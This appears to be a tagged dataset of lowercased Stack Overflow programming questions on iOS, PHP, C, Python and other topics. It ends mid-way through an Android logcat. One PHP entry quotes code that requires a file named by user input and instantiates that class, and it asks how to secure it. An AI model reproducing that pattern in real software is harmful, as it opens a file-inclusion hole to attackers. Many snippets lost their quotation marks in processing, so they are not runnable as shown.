how to logout facebook and delete cookies  i am using latest facebook sdk i need to pop to root viewcontroller after successfully logout but when i login again its not actually logout from facebook.i need to delete cookies or need to do something else here is my code    in <code>.m</code>   <pre><code>- (void)viewdidload  {     self.navigationitem.rightbarbuttonitem = [[uibarbuttonitem alloc]                                           initwithtitle:@ logout                                            style:uibarbuttonitemstylebordered                                           target:self                                           action:@selector(logoutbuttonwaspressed:)];     [super viewdidload];   }   -(void)logoutbuttonwaspressed:(id)sender   {      [fbsession.activesession closeandcleartokeninformation];      [self.navigationcontroller popviewcontrolleranimated:yes];    } </code></pre>,ios
create a class based on user input  it s not safe to require $input .  .php . to then institate a class. how can i make it secure  without needing to use say a whitelist of classes that can be inistiated.    ex 1. (bad code).   <pre><code>&lt; php  $input = $_get[ controller ];  require $input .  .php ;  new $input;   &gt; </code></pre>,php
changing ios app name in new update   i currently have an app which is in the ios store  but in the new version i am wanting to change the entire name of the app with the upcoming update  with this what will i need to update     the only things i can think of is the bundle id &amp; name in the developer centre  is that all,ios
question mark as  if  notation  i m aware of using syntax like this:   <pre><code>(something)   true : false </code></pre>   but what if i want to return checking variable  for example:   <pre><code>if([myvar objectforkey:objectname])     return [myvar objectforkey:objectname] else     return -1; </code></pre>   is there a syntax like first line of code here that do that     of course i know that i can simply do something <strong><em>like</em></strong>:   <pre><code>([myvar objectforkey:objectname])   return [myvar objectforkey:objectname] :  return -1; </code></pre>   but this is afaik very ugly solution,objective-c
comparing char with a variable string  i am a newbie to c++  with tc as my compiler.(yes i know it s old  but it s what i have to use for my studies.)    i m having a problem understanding comparison of char[]. this is my code.   <pre><code>char chi[3];   void input1() { int xtemp ytemp; gotoxy(60 2); cout&lt;&lt; enter which piece you ;gotoxy(60 3);cout&lt;&lt; would like to select. ;gotoxy(60 4);cout&lt;&lt; (eg.a1 a2 a3.): ; cin&gt;&gt;chi; if(chi== a1 ){xtemp=0;ytemp=0;} if(chi== a2 ){xtemp=1;ytemp=0;} if(chi== a3 ){xtemp=2;ytemp=0;} //..... if(chi== h7 ){xtemp=6;ytemp=7;} if(chi== h8 ){xtemp=7;ytemp=7;} cout&lt;&lt;xtemp&lt;&lt;ytemp; getch();   } </code></pre>   everytime i run my program  of which this function is a part of  i try cin values liek a1 a2 g8 etc. however  my cout statement always shows 99. excuse me for my ignorance. thanks in advance! :)    -captainawesome,c++
read only textbox value disappears on postback  i want to keep <code>textbox</code> attribute <code>read only</code> in web form. but when i keep this <code>read only</code>   on <code>postback</code>its values get vanishes and i get empty text. how can i achieve the same functionality without loosing <code>textbox</code> values.,asp.net
how to get distinct values from list<dictionay<string  string>> in c#  due to limitations on the system i am getting data from  i end up with duplicate dictionaries in a orders list. the system looks at the amount of items and gives me one order for each item inside the order. basically i end up with this:   <pre><code>            list&lt;dictionary&lt;string  string&gt;&gt; myorders = new list&lt;dictionary&lt;string  string&gt;&gt;();              dictionary&lt;string  string&gt; dictionay = new dictionary&lt;string string&gt;();             dictionay.add( orderid    00000082 );             dictionay.add( order status    in process );             myorders.add(dictionay);             dictionary&lt;string  string&gt; dictionay1 = new dictionary&lt;string  string&gt;();             dictionay1.add( orderid    00000082 );             dictionay1.add( order status    in process );             myorders.add(dictionay1);             dictionary&lt;string  string&gt; dictionay2 = new dictionary&lt;string  string&gt;();             dictionay2.add( orderid    00000083 );             dictionay2.add( order status    in process );             myorders.add(dictionay2);             dictionary&lt;string  string&gt; dictionay3 = new dictionary&lt;string  string&gt;();             dictionay3.add( orderid    00000084 );             dictionay3.add( order status    in process );             myorders.add(dictionay3); </code></pre>   i am sure there is a simple way to do this but i am having a hard time to loop through the myorders and compare the orderid value in order to end up with distinct dictionaries within the list. can anyone help,c#
displaying set value in text box  so i ve got a problem. i ve created a text box like that:   <pre><code> &lt;input type= text  id= search  name= search  class= mytext  value= search for a keyword  onclick= value=   /&gt; </code></pre>   my problem basically is that after i press the text box to write a text of my own  and then press some other place on the screen  the value i set at start(search for a keyword) will not be displayed once again. i ve tried everything :(. how do i make it display again once i ve pressed some other place on the screen  thanks in advance.,html
how to display custom view modaly  i ve written a small multiplayer game for the iphone. once one of the players win  i want to display him  you win  image and a button so that he can play again. how can this be done  one option is to use a segue to a new view-controller  but i think this should be shown with the game in the background. what would you suggest  as i m pretty sure this is a common scenario for an iphone game/app.    edit: i ended up using both phillip mills s answer and selkie s answer. here is on   <a href= https://stackoverflow.com/questions/12144929/how-to-animate-sliding-from-bottom >how to use uiview transitionwithview </a>,iphone
manage several files in php  i m testing php because i m a freshman in this matter. i put my php code in a free server  they let me do my own index.php  manage some php variables (like register_globals  magic_quotes_gpc etc. i left them as default)  but apparently i can handle not more than one file in a php code  for example:   <pre><code>&lt; php  //--------updating data------------- $cdc = intval($_post[ cantidaddecapitulos ]); $towrite = array( ctot  =&gt; $cdc); for($i=1;$i&lt;$cdc+1;$i += 1){    $towrite[ cap .$i] = $_post[ numdecap .$i]; }//---------------------------------  $datos = file_get_contents( myfile.json. );  $towrite = json_encode( $towrite );  //open a file in write mode  $fp = fopen( myfile2.json    w );  if(fwrite($fp   $towrite )) {    echo  &amp;verify=success&amp; ;  } else {    echo  &amp;verify=fail&amp; ;  } fclose($fp);  &gt; </code></pre>   if i comment out the line <code>$datos = file_get_contents( myfile.json. );</code> it s alright!  something is written in myfile2.json but if it is uncommented  the data is not updated. both files have permission 666 and they are in the same directory i.e.  /root.,php
how to read text file and check it is exist or not <pre><code>#include&lt;stdlib.h&gt; #include&lt;stdio.h&gt; #include&lt;math.h&gt; #include&lt;string.h&gt; #include&lt;ctype.h&gt;  void load(char* filename){    file *inputs= fopen(filename   r );    if(inputs){      printf( :true: );    }else{      printf( :error: );    }    fclose(inputs);  }  char* extract(char* name){     char* input = (char*) malloc(sizeof(char*)*100);     char* extract = (char*) malloc(sizeof(char*)*100);     int i=0 j=0 k=0 endflag=0;     strcpy(input  name);      for(i=0;i&lt;strlen(input);i++){         if(input[i] ==    ){             if(endflag==0){                 j =i+1;                 while(input[j]!=   ){                      extract[k] = input[j];                      k++;                      j++;                 }                 endflag = 1;             }else{                endflag =0;             }         }     }    extract[k] =  \0 ;    return extract; }  int main(){   char* file = (char*) malloc(sizeof(char*)*100);   char* input = (char*) malloc(sizeof(char*)*100);   strcpy(file   \ file name\  );   strcpy(input  extract(file));   load(input);   return 0; } </code></pre>   what i want to do is read file with double quoted string like  \ file name\      so i extract only file name inside of double quoted string by extract function and     put char* value for call text file by name of it.     but what i received was the segmentation fault  is there any one can fix this trouble,c
python stdout not printing or saving  i am trying to save the text messages from the child process in a variable but they are not saved  also they are not printing anymore. can someone explain me why because i am confused:   <pre><code>import os import subprocess import sys import re  locationoffile= c:\\users\\admin\\desktop\\..........txt   command= cmd  subprocess.popen(command)  process= mycommand   command3=subprocess.popen(process  stdout=subprocess.pipe)  #usially with this command in the child process i  receave many messages  but with stdout i dont see them. i dont want to hide them from the console  just to go in that variable as a string  resultt  resultt=command3.communicate()  print(resultt) #but it is not printing  </code></pre>,python
redirecting output to a different model <pre><code>rails 3.2 </code></pre>   this is my controllers/lead_billing/lead_billings_controller.rb:    in controllers/admin/lead_billings_controller.rb  i have:   <pre><code>  def create     @lead_billing = leadbilling.new(params[:lead_billing])     @lead_billing.generate_model_id     @lead_billing.add_ticket_id_to_model(ticket_id)     @ticket = ticket.find(params[:ticket_id])     respond_to do |format|       if @lead_billing.save         format.html { redirect_to @ticket  notice:  lead billing was successfully created.  }         format.json { render json: @lead_billing  status: :created  location: @lead_billing }       else         format.html { render action:  new  }         format.json { render json: @lead_billing.errors  status: :unprocessable_entity }       end     end   end </code></pre>   what i want to do  is then the lead_billing is saved  to re-direct to the show method of the tickets controller.    when i run it  i get the following error message:   <pre><code>undefined method `ticket_url  for #&lt;admin::leadbillingscontroller:0x0000000898c990&gt; </code></pre>   routes related to tickets:   <pre><code>tickets   get   /tickets/:id(.:format)   statics#tickets update_state_admin_ticket   put   /admin/tickets/:id/update_state(.:format)   admin/tickets#update_state toggle_flag_admin_ticket   put   /admin/tickets/:id/toggle_flag(.:format)   admin/tickets#toggle_flag edit_notes_admin_ticket   get   /admin/tickets/:id/edit_notes(.:format)   admin/tickets#edit_notes download_work_order_admin_ticket   get   /admin/tickets/:id/download_work_order(.:format)   admin/tickets#download_work_order fancybox_show_admin_ticket   get   /admin/tickets/:id/fancybox_show(.:format)   admin/tickets#fancybox_show to_step_admin_tickets   get   /admin/tickets/to_step(.:format)   admin/tickets#to_step creator_admin_tickets   get   /admin/tickets/creator(.:format)   admin/tickets#creator admin_tickets   get   /admin/tickets(.:format)   admin/tickets#index post   /admin/tickets(.:format)   admin/tickets#create new_admin_ticket   get   /admin/tickets/new(.:format)   admin/tickets#new admin_ticket   get   /admin/tickets/:id(.:format)   admin/tickets#show put   /admin/tickets/:id(.:format)   admin/tickets#update delete   /admin/tickets/:id(.:format)   admin/tickets#destroy </code></pre>   instead of showing me the ticket. any ideas,ruby-on-rails
error accessing array of structure pointers  i am trying to build an adjacency list but get the following error     graph.c:16: error: subscripted value is neither array nor pointer     i read that this error occurs when a non array is trying to be indexed. when i am able to add an element to it directly (line 58: graph[i] = root)  can i please know what is the error in assigning a member of the structure array to a node    <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;string.h&gt; #define max 10 struct node{     int data;     struct node * link; };  typedef struct node * node; node graph[max]; void displaygraph (graph  n){ int i; node cur; for (i=0;i&lt;n;i++){     cur = graph[i];     while(cur != null){         printf( %d    cur-&gt;data);         }     } }  node insert (node root  node temp){ node mine; mine = root;     if (mine == null)         return root;     while(mine != null){     mine = mine-&gt;link;     } mine-&gt;link = temp; return root; }  main () { int n=0; int i; int val; char * choice; node temp  root; printf( enter the number of nodes\n ); scanf( &amp;d   n); for (i=0;i&lt;n;i++){     root = null;     while(1){         printf( is there an adjacent node y:n );         scanf( %s   choice);         if(!strcmp(choice   n ));             break;         printf( enter the adjacent node\n );         scanf( %d   val);         temp = malloc(sizeof (struct node));         temp-&gt;data = val;         temp-&gt;link = null;         root = insert(root  temp);          } graph[i] = root;     } displaygraph (graph  n); } </code></pre>,c
python returning instance of class from list  i try to get index of instance of object in a list. and i don t know how to do it without for-loop.     if someone can show me right direction  without for-looping it.      i find that list has instance of it with any()-function but can t get index out of it.     i try to clarify my problem. if any()-fucntion can find that list(self.data) has instance of object. any()-function returns only true/false. is there function or way to get index of that instance so i can call it.    and code:   <pre><code>class myclass:       def __init__(self  f):         self.data = []         self.f = open(f   rb )         self.mod = sys.modules[__name__]      def readfile(self):         f = self.f         try:             self.head = f.read(8)             while true:                 length = f.read(4)                 if length == b  :                     break                 c = getattr(self.mod  f.read(4).decode())                 if any(isinstance(x  c) for x in self.data):                     index = self.data.index(c) #problem is here                     self.data[index].append(f.read(int(length.hex()  16)))                 else:                     obj = c(data=f.read(int(length.hex()  16)))                     self.data.append(obj)                 f.read(4) #todo check crc         finally:             f.close() </code></pre>,python
developer.apple.com change bundle id  i have an ios project which is listed on developer.apple.com  so it has a certificate  but it has no bundle id.  it has never been submitted to itunes connect.  i have added the id to xcode  but itunes connect does not see it.  therefore i cannot submit it.  i can t see any way to add the id on developer.apple.com.  so as far as i can see  there is no way to get itunes to let me submit it.,ios
python input validation while loop  i need my program to validate the user input. so far i have defined a range of  validletters  and  validnumbers :     <pre><code>validletters = ( abcdefghijklmnopqrstuvwxyz  ) validnumbers = [ 0    1    2    3    4    5    6    7    8    9 ] </code></pre>   however  it should then validate like this:   <pre><code>name = input( what is your name \n ).lower() while name ==    or name in validnumbers:         name = input( what is your name \n ).lower() strinput0 = name char_only0 =    for char in strinput0:     if char in validletters:         char_only0 += char     name = char_only0 </code></pre>   <strong>the problem lies with the  in  part of the statement  it only works if the input is a single number (eg.  6 )  but it accepts two or more numbers (eg.  65 ) because  65  (unlike  6 ) is not in validnumbers.</strong>    i want it to scan the entire input and ask again if it only consists of numbers  as you can see it takes these out (plus any special characters) at the end.    there are .isalpha() solutions  however  they don t allow whitespaces  which are required if the user inputs their full name!    i have been chipping away at this problem for hours know  someone out there is probably able to solve this for me. thanks in advance.,python
bottom border appears when i open a page on a smaller screen  i have a page containing several sections.    one of the section has a list on it  when i m opening it on a bigger screen it looks ok  but when i open it on a smaller screen  it will be scrollable (which is ok) but it also has a thick border on bottom  the list is not visible down to the end of the screen.    there is no other sections under it.    this is the css of the list section:   <pre><code>.sites-list {     height: 50%;     padding-left: 10rem;     background-color: #ffffff;     text-align: left;     font-size: 20px;     color: #a9611a;     right: 0;     bottom: 0;     left: 0; } </code></pre>   any ideas how to solve it  thanks,css
what does assigning a static field to an instance field not point both at the same object  <a href= https://dotnetfiddle.net/3dup0i  rel= nofollow >in this fiddle</a>  we are assigning a static field to an instance field. when we change the static one  the instance one still has the initial value. why is that  we thought that both should be referring to the same object but it seems that they re not.    <pre><code>using system;  public class program {     public static string staticstring;     public string instancestring;      public static void main()     {         program.staticstring =  foo ;          var p = new program();         p.instancestring = program.staticstring;          program.staticstring =  bar ;          console.writeline(p.instancestring);     } } </code></pre>   we were really expecting this to print <code>bar</code> but it printed <code>foo</code>.,c#
create shortcut with minimized window  good morning  i have a java code using jshortcut  the problem is i can not create the shortcut with the minimized window  try looking for properties as windowstyle  but find nothing.    code.   <pre><code>public void createdesktopshortcut() {      try {         link.setfolder(jshelllink.getdirectory( desktop ));         link.setname( ie );         link.setpath(filepath);         //windowstyle = 7         link.save();     } catch (exception ex) {         ex.printstacktrace();     }  } </code></pre>   how can i add this option,java
how can i list the schemas on my server   i d like to know all the databases running on my mysql server so i can check which priveleges i need to assign for new users. how can i list the schemas,mysql
php built-in (cli) webserver dies without error  here is the background:    i have a php api providing back-end data to an angular app.  i have set up a  sandbox  api for use in protractor e2e tests in the angular app.  this runs the real api code with fake fixture data like this:   <pre><code>//open test server $command = sprintf( application_env=sandbox php -s 127.0.0.1:%d -t %s   $port  $public); print  \nrunning api sandbox on port $port\n ; $process = popen($command   r ); </code></pre>   my problem is that if i run my entire suite of protractor tests  at some point  the php cli webserver will just die.  if i run all the tests independently  they all will pass.  the webserver failure looks like this:   <pre><code>[mon nov 17 15:44:54 2014] 127.0.0.1:58641 [200]: /some/route/1 [mon nov 17 15:44:54 2014] 127.0.0.1:58644 [201]: /some/route/2 [mon nov 17 15:44:54 2014] 127.0.0.1:58647 [201]: /some/route/3 [mon nov 17 15:44:54 2014] invalid argument </code></pre>   the lack of a backend obviously causes my protractor tests to die:   <pre><code>events.js:72     throw er; // unhandled  error  event           ^ error: connect econnrefused   at errnoexception (net.js:904:11)   at object.afterconnect [as oncomplete] (net.js:895:19) </code></pre>   does anybody have any ideas for tracking down this problem   the protractor + sandbox api setup is awesome but i just can t get it to run as a whole unit (note  this has worked for me in other projects).  there is no error output  no response  nothing in logs.      any help would be greatly appreciated.,php
html anchors not working correctly in ie9  i have this dirty html that is currently used in my company  the issue is that the hyperlinks or anchors work in ie8  but not in ie9 any reason why this is not working in ie9 . basically its just clicking on the link and then it should focus on the id  like when i click on specialties i see the url changing like this     <pre><code>file:///c:/users/testuser/desktop/test.html#c3 </code></pre>   now in ie8 when i do the click it correctly goes to that section #c3    well this code does not work either in ie9   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt;     &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;p id= titlec &gt;&lt;a href= #c3 &gt;specialty&lt;/a&gt;&lt;/p&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;p id= #c3 &gt;did it work &lt;/p&gt; &lt;p&gt;then your code is wrong&lt;/p&gt; &lt;/body&gt; </code></pre>,html
how to get the data from database  actually i created a form and the inputs have been stored into the database succesfully.. then i retreived those inputs in the browser in table format ..now i added another column(delete) in browser table where i have data in that column is delete link which moves to delete.php page...now wat i need to code in display.php page to delete the specified row    i tried but i am not sure about that how to make that specific row .         this is my browser display.php page                                      <pre><code>     &gt;       &lt;table border= 2 &gt;     &lt;th&gt;     &lt;tr&gt;           &lt;th&gt;sno&lt;/th&gt;           &lt;th&gt;first name&lt;/th&gt;           &lt;th&gt;last name&lt;/th&gt;           &lt;th&gt;email&lt;/th&gt;           &lt;th&gt;gender&lt;/th&gt;           &lt;th&gt;language&lt;/th&gt;           &lt;th&gt;country&lt;/th&gt;           &lt;th&gt;interest&lt;/th&gt;           &lt;th&gt;edit&lt;/th&gt;           &lt;th&gt;delete&lt;/th&gt;     &lt;/tr&gt;     &lt;/th&gt;     &lt;tbody&gt;     &lt; php         if(mysqli_num_rows($result) &gt; 0)          {          while($row = mysqli_fetch_assoc($result))          {           echo  &lt;tr&gt; ;           echo  &lt;td&gt;  .$row[ sno ] . &lt;/td&gt; ;             echo  &lt;td&gt;  . $row[ firstname ] .  &lt;/td&gt; ;           echo  &lt;td&gt;  . $row[ lastname ] .  &lt;/td&gt; ;            echo  &lt;td&gt;  . $row[ email ] .  &lt;/td&gt; ;             echo  &lt;td&gt;  . $row[ gender ] .  &lt;/td&gt; ;             echo  &lt;td&gt;  . $row[ language ] . &lt;/td&gt; ;              echo  &lt;td&gt;  . $row[ country ] .  &lt;/td&gt; ;              echo  &lt;td&gt;  . $row[ interest ] . &lt;/td&gt; ;              echo  &lt;td&gt;  . &lt;a href= http://192.168.1.37/training/krishnaswamy/html/edit.php &gt;edit&lt;/a&gt;   . &lt;/td&gt; ;              echo  &lt;td&gt;  . &lt;a href= http://192.168.1.37/training/krishnaswamy/html/delete.php &gt;delete&lt;/a&gt; . &lt;/td&gt; ;              echo  &lt;/tr&gt; ;      }     }       &gt;     &lt;/tbody&gt;     &lt;/table&gt;     &lt;/body&gt;     &lt;/html&gt; this is my code were is show the table . i made the links to move to edit.php and delete.php page respectively...so wat i need to do as acode in that respective pages </code></pre>,html
how do i align the string in uilabel？  there is a label and it s width is 100  there also has some string  like  abc   abcd   abcde .i need the label shows the string like  a  b  c   a b c d   abcde .how to do for this,ios
indexing of persisted column <pre><code>create table dbo.yourtable (id int identity(1 1)   charid as  wc  + right( 000  + cast(id as varchar(3))  3) persisted    constraint pk_yourtable primary key(charid) ) </code></pre>   my problem is how to have an index in the area of  wc  so that i can insert another letters.    is it possible,sql
computing permutations to find minimum time  i need to suggest the minimum duration of work hours required to be done by the user.     if the user enters the data for future days as the following:    <code>1  2  1  4  1  5  1  3  9 and 1</code>  4 would be the minimum work. i can t run a sort function on this list to find the minimum sum  because that would not take into account the sequence.    i am trying to build a simple portal for open source work distribution and i am new to programming.,c++
i need to stop my page from refreshing with simple javascript  so i ve typed this all  and the only thing that would make this code perfect  is a no refresh code. i need it to be in javascript  no jquery  ajax  or php. because i don t understand those languages yet. well  here is my code.   <pre><code>function welkom()//this function is in the &lt;body onload=  &gt; { var naam = prompt( wat is je naam ); document.getelementbyid( welkom ).innerhtml= welkom   + naam +   en succes    met de tafels. ; } function test()//this function is in the &lt;body onload=  &gt; {     var nummer = document.getelementbyid( cijfers ).value;     document.getelementbyid( resultaat ).innerhtml =   ;     var form =  &lt;table&gt;&lt;form&gt; ;     for (var x = 1;x&lt;=10;x++)     {         form +=  &lt;tr&gt;&lt;td&gt;  + x +  x  + nummer +  = &lt;/td&gt; ;         form +=  &lt;td&gt;&lt;input type= text  id= vraag[  + x +  ]  /&gt;&lt;/td&gt;&lt;/tr&gt; ;     }     form +=  &lt;/table&gt;&lt;input type= submit  value= controleer je antwoorden  onclick= controleer() &gt;&lt;/form&gt; ;     document.getelementbyid( resultaat ).innerhtml = form; }         function controleer()//this is the function that refreshes my page.         {             var tafelnr = document.getelementbyid( cijfers ).value;             var goed = 0;             var fout = 0;              for (var teller=1;teller&lt;=10;teller++)             {                 var tafelnr = document.getelementbyid( cijfers ).value;                 var goedantwoord = tafelnr * teller;                 var antwoord = document.getelementbyid( vraag[  + teller +  ] ).value;                  if (goedantwoord == antwoord)                 {                     document.getelementbyid( vraag[  + teller +  ] ).style.backgroundcolor= #00ff00 ;                     goed++                 }                 else                 {                     document.getelementbyid( vraag[  + teller +  ] ).style.backgroundcolor= #ff0000 ;                     fout++                 }             }             if (goed &lt;=6)             {                 alert( je had   + goed +   vragen goed en   + fout +   vragen fout. \nvraag aan de meester of juf om een oefenblaadje. );             }             else             {                 alert( je had   + goed +   vragen goed en   + fout +   vragen fout. \ngoed gedaan! )             }         } </code></pre>,javascript
jquery events not attached on page load  i have a problem that drives me crazy. here is my code:   <pre><code>&lt;a href= #  class= panel-minimize &gt;      &lt;i class= fa fa-chevron-up text-white &gt;&lt;/i&gt; &lt;/a&gt; </code></pre>  <pre class= lang-js prettyprint-override ><code>$(document).ready(function () {     $( .panel-minimize ).click(function (e) {         e.preventdefault();         var $target = $(this).parent().parent().parent().next( .panel-body );         if ($target.is( :visible )) {              $( i   $(this)).removeclass( fa-chevron-up ).addclass( fa-chevron-down );          }         else {              $( i   $(this)).removeclass( fa-chevron-down ).addclass( fa-chevron-up );          }         $target.slidetoggle();     });     $( .user_details ).colorbox({ iframe: true  innerwidth: 425  innerheight: 344 }); }); </code></pre>   very simple and supposed to run  but it doesn t... i added an alert on the <code>$(document).ready</code> and it shows the alert  but the events are not working. if i take the code inside the <code>$(document).ready</code> and put it the console in chrome it works fine  but for some unknown reason it doesn t work by itself when the page loads.,jquery
count occurrences of midnight between datetimes  is there a native facility or third party library for python that can count the number of occurrences of a time (in particular the number of midnights) between two datetimes     it is not sufficient to count the number of days because the datetimes might not have the same time component  so you end up with the kind of intervals shown in this example:   <pre><code>from datetime import datetime as dt  dt1 = dt(2014 05 21 23) dt2 = dt(2014 05 22 01) i1 = dt2-dt1 print(i1) # 1 midnight but 2 hours  dt3 = dt(2014 05 21 01) dt4 = dt(2014 05 22 23) i2 = dt4-dt3 # 1 midnight but 1 day + 22 hours print(i2) </code></pre>,python
in_groups_of(3) but only for the first 3 groups  expanding on <a href= https://stackoverflow.com/questions/14528919/new-row-every-3-items >new row every 3 items</a> -- i m trying to insert ads in between my forem (<a href= https://github.com/radar/forem  rel= nofollow noreferrer >https://github.com/radar/forem</a>) topics -- one in between every 3 topics for the first 3 groups of topics (3 ads in total).    <strong>update</strong>    i ended up with this thanks to the answer below  unfortunately it doesn t seem to pass on <code>test</code> as a valid local (can t find <code>topic</code> inside <code>forem/topics/topic</code>):   <pre><code>&lt;% @topics.in_groups_of(3).each_with_index do |grouped_topics  index| %&gt;   &lt;%= render partial:  forem/topics/topic   collection: grouped_topics %&gt;   &lt;% if index &lt; 3 %&gt;     &lt;p&gt;ad&lt;/p&gt;   &lt;% end %&gt; &lt;% end %&gt; </code></pre>   <strong>live test app</strong> (click the big green <code>run</code> button to test):    <a href= http://runnable.com/vfunk2ho3fpr8fp2/forem-with-ads-in-between-topics  rel= nofollow noreferrer >http://runnable.com/vfunk2ho3fpr8fp2/forem-with-ads-in-between-topics</a>    file in question: <a href= https://github.com/radar/forem/blob/rails4/app/views/forem/forums/show.html.erb  rel= nofollow noreferrer ><code>views/forem/forums/show.html.erb</code></a>,ruby-on-rails
storing files permanently  the code below stores the file temporarily (in cache memory i guess) but i need to store the file permanently  what should i do    <pre><code>public void downloadfile(){             storagereference islandref = storageref.child( cliff.jpg );             file localfile = null;             try {                 file cachedir = getapplicationcontext().getcachedir();                 localfile = file.createtempfile( images    .jpg   cachedir);             } catch (ioexception e) {                 e.printstacktrace();             }             islandref.getfile(localfile).addonsuccesslistener(new onsuccesslistener&lt;filedownloadtask.tasksnapshot&gt;() {                 @override                 public void onsuccess(filedownloadtask.tasksnapshot tasksnapshot) {                   }         }).addonfailurelistener(new onfailurelistener() {             @override             public void onfailure(@nonnull exception exception) {                 // handle any errors                 log.i( msg   exception.tostring());                 toast.maketext(getapplicationcontext()   failed   toast.length_short).show();              }         }); </code></pre>,android
change jquery control.classname to control.addclass  in the code below  i don t want to replace the entire class of the control i just want to add and remove class.    i have tried    <pre><code>control.addclass =  form-control-error login-form-control col-xs-12 col-sm-12 col-md-12 ; </code></pre>   but it is not working.   <pre><code> var control = document.getelementbyid(page_validators[i].controltovalidate);                         if (!page_validators[i].isvalid) {                              control.classname =  form-control-error login-form-control col-xs-12 col-sm-12 col-md-12 ;                         } else {                             control.classname =  login-form-control col-xs-12 col-sm-12 col-md-12 ;   } </code></pre>,jquery
objective-c - how to init enum with nsinteger   i m working on an application and my problem started when i tried to encode a model that has an enum property using <code>nscoding</code>. so i had the idea to convert it to the rawvalue and the way back. i looked around a bit and came around the macro <code>ns_enum</code>  so my code looks like this:    <pre class= lang-c prettyprint-override ><code>typedef ns_enum(nsinteger  sectiontype) {     sectiontypetext = 0      sectiontypevideo = 1      sectiontypelink = 2      sectiontypefile = 3      sectiontypequiz = 4      sectiontypeaudio = 5      sectiontypegame = 6      sectiontypehomework = 7 }; </code></pre>   but i could find no possible way to convert these to the associated value and the way back. how could i do it  there is a better approach than the ns_enum macro,objective-c
i want to pass data in between two activity using intent but why it is not working   i already tried this code in my activity ..    in my first activity this is my code to pass data :   <pre><code>intent intent = new intent(getapplicationcontext()  teachersidequestion2.class);     bundle bundle = new bundle();     bundle.putint( score   finalscore);     intent.putextras(bundle);     startactivityforresult(intent 0); </code></pre>   and in my second activity   here s the code to retrieve my data .   <pre><code>public void onclick() {     bundle bundle = getintent().getextras();     // int temp = extras.getint( score   0);     // int temp = i.getextras().getint( score   0);     if (bundle != null) {         int temp = bundle.getint( score   0);         if (temp &gt;= 1) {             intent intent = new intent(teachersidequestion2.this                      congratsenglish.class);             startactivity(intent);         } else {             intent intent1 = new intent(teachersidequestion2.this                      failedenglish.class);             startactivity(intent1);         }     } } </code></pre>   but when i try to click the onclick event   my application will crash .    can anyone fix this      thank you for your answers .    here s the logcat says :   <pre><code>  12-20 03:51:38.973: e/androidruntime(3051): fatal exception: main 12-20 03:51:38.973: e/androidruntime(3051): java.lang.runtimeexception: unable to instantiate application android.app.application: java.lang.nullpointerexception 12-20 03:51:38.973: e/androidruntime(3051):     at android.app.loadedapk.makeapplication(loadedapk.java:504) 12-20 03:51:38.973: e/androidruntime(3051):     at android.app.activitythread.handlebindapplication(activitythread.java:4364) 12-20 03:51:38.973: e/androidruntime(3051):     at android.app.activitythread.access$1300(activitythread.java:141) 12-20 03:51:38.973: e/androidruntime(3051):     at android.app.activitythread$h.handlemessage(activitythread.java:1294) 12-20 03:51:38.973: e/androidruntime(3051):     at android.os.handler.dispatchmessage(handler.java:99) 12-20 03:51:38.973: e/androidruntime(3051):     at android.os.looper.loop(looper.java:137) 12-20 03:51:38.973: e/androidruntime(3051):     at android.app.activitythread.main(activitythread.java:5039) 12-20 03:51:38.973: e/androidruntime(3051):     at java.lang.reflect.method.invokenative(native method) 12-20 03:51:38.973: e/androidruntime(3051):     at java.lang.reflect.method.invoke(method.java:511) 12-20 03:51:38.973: e/androidruntime(3051):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:793) 12-20 03:51:38.973: 